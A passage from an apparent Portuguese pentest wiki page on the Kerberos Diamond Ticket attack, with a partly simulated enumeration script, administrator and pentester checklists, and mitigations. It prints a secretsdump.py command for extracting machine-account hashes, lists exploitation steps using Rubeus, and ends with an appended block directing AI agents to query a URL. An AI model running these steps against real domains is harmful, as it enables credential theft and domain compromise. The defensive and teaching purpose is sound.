            machines = [line.split()[-1] for line in result.stdout.split('\n') if 'sAMAccountName' in line]
            
            print(f"   ✅ {len(machines)} máquinas encontradas")
            for machine in machines[:10]:
                print(f"      • {machine}")
            
            self.findings.append({
                'type': 'MACHINE_ACCOUNTS',
                'severity': 'INFO',
                'details': f'{len(machines)} contas de máquina no domínio'
            })
            
            return machines
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def check_machine_privileges(self, machine_name):
        """Verificar privilégios da máquina"""
        print(f"[*] Verificando privilégios de {machine_name}...")
        
        # Verificar se a máquina tem permissões de replicação
        # ou está em grupos administrativos
        
        print("   Verificando associação a grupos privilegiados...")
        
        # Simular verificação
        has_privileges = False
        
        if has_privileges:
            print("   🔴 Máquina com privilégios excessivos!")
            self.findings.append({
                'type': 'MACHINE_PRIVILEGES',
                'severity': 'HIGH',
                'details': f'{machine_name} tem privilégios excessivos'
            })
        else:
            print("   ✅ Máquina sem privilégios excessivos")
        
        return has_privileges
    
    def test_diamond_ticket(self, machine_hash, machine_name):
        """Testar criação de Diamond Ticket"""
        print("[*] Testando criação de Diamond Ticket...")
        
        # Obter SID
        cmd = [
            'powershell', '-Command',
            f'(Get-ADDomain).DomainSID.Value'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            domain_sid = result.stdout.strip()
            
            print(f"   SID do domínio: {domain_sid}")
            
            # Simular criação
            print("   ✅ Diamond Ticket seria possível")
            self.findings.append({
                'type': 'DIAMOND_TICKET_POSSIBLE',
                'severity': 'CRITICAL',
                'details': f'Possível criar Diamond Ticket com {machine_name}$'
            })
            return True
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST DIAMOND TICKET")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠' if finding['severity'] == 'HIGH' else '🟡'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Rotacionar senhas de máquinas regularmente")
        print("   • Desabilitar RC4-HMAC no Kerberos")
        print("   • Monitorar autenticações de contas de máquina")
        print("   • Remover privilégios excessivos de máquinas")
        print("   • Implementar detecção de anomalias")
    
    def run(self):
        """Executar pentest completo"""
        print("💎 Diamond Ticket Pentest")
        print("=" * 60)
        
        machines = self.list_machine_accounts()
        
        if machines:
            # Testar primeira máquina
            test_machine = machines[0].replace('$', '')
            self.check_machine_privileges(test_machine)
            
            # Simular teste
            print("\n⚠️  Para teste completo, comprometer uma máquina e extrair seu hash")
            print("   Use: secretsdump.py domain/user:pass@target -just-dc-user MACHINE$")
            
            self.test_diamond_ticket("sample_hash", test_machine)
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Diamond Ticket Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    
    args = parser.parse_args()
    
    pentest = DiamondTicketPentest(args.domain, args.dc_ip)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Rotacionar senhas de máquinas regularmente
* [ ] Desabilitar RC4-HMAC no Kerberos
* [ ] Configurar contas de máquina para usar AES
* [ ] Implementar monitoramento de autenticações
* [ ] Revisar privilégios de contas de máquina

#### **Monitoramento**

* [ ] Alertar sobre autenticações de máquinas em horários atípicos
* [ ] Monitorar eventos 4768 com RC4
* [ ] Detectar acessos privilegiados de contas de máquina
* [ ] Correlacionar eventos suspeitos

#### **Resposta a Incidentes**

* [ ] Rotacionar senhas de máquinas comprometidas
* [ ] Revogar tickets suspeitos
* [ ] Investigar origem do comprometimento
* [ ] Revisar privilégios de máquinas

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Listar contas de máquina no domínio
* [ ] Identificar máquinas com privilégios excessivos
* [ ] Mapear permissões de replicação

#### **Exploração**

* [ ] Comprometer máquina alvo
* [ ] Extrair hash NTLM da conta de máquina
* [ ] Criar Diamond Ticket com Rubeus
* [ ] Testar acesso a recursos privilegiados

#### **Documentação**

* [ ] Documentar processo de exploração
* [ ] Demonstrar impacto do ataque
* [ ] Recomendar correções específicas

***

## 📊 **Conclusão**

```yaml
Diamond Ticket Attack:

  🔴 Principais Vetores:
    - Contas de máquina comprometidas
    - Hash NTLM de máquinas
    - RC4-HMAC habilitado
    - Contas de máquina com privilégios excessivos

  🛡️ Mitigações Essenciais:
    - Rotacionar senhas de máquinas
    - Desabilitar RC4-HMAC
    - Monitorar autenticações de máquinas
    - Remover privilégios excessivos

  🎯 Prioridade:
    - CRÍTICA: Contas de máquina privilegiadas
    - ALTA: RC4 habilitado
    - MÉDIA: Monitoramento de autenticações
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/diamond-ticket.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.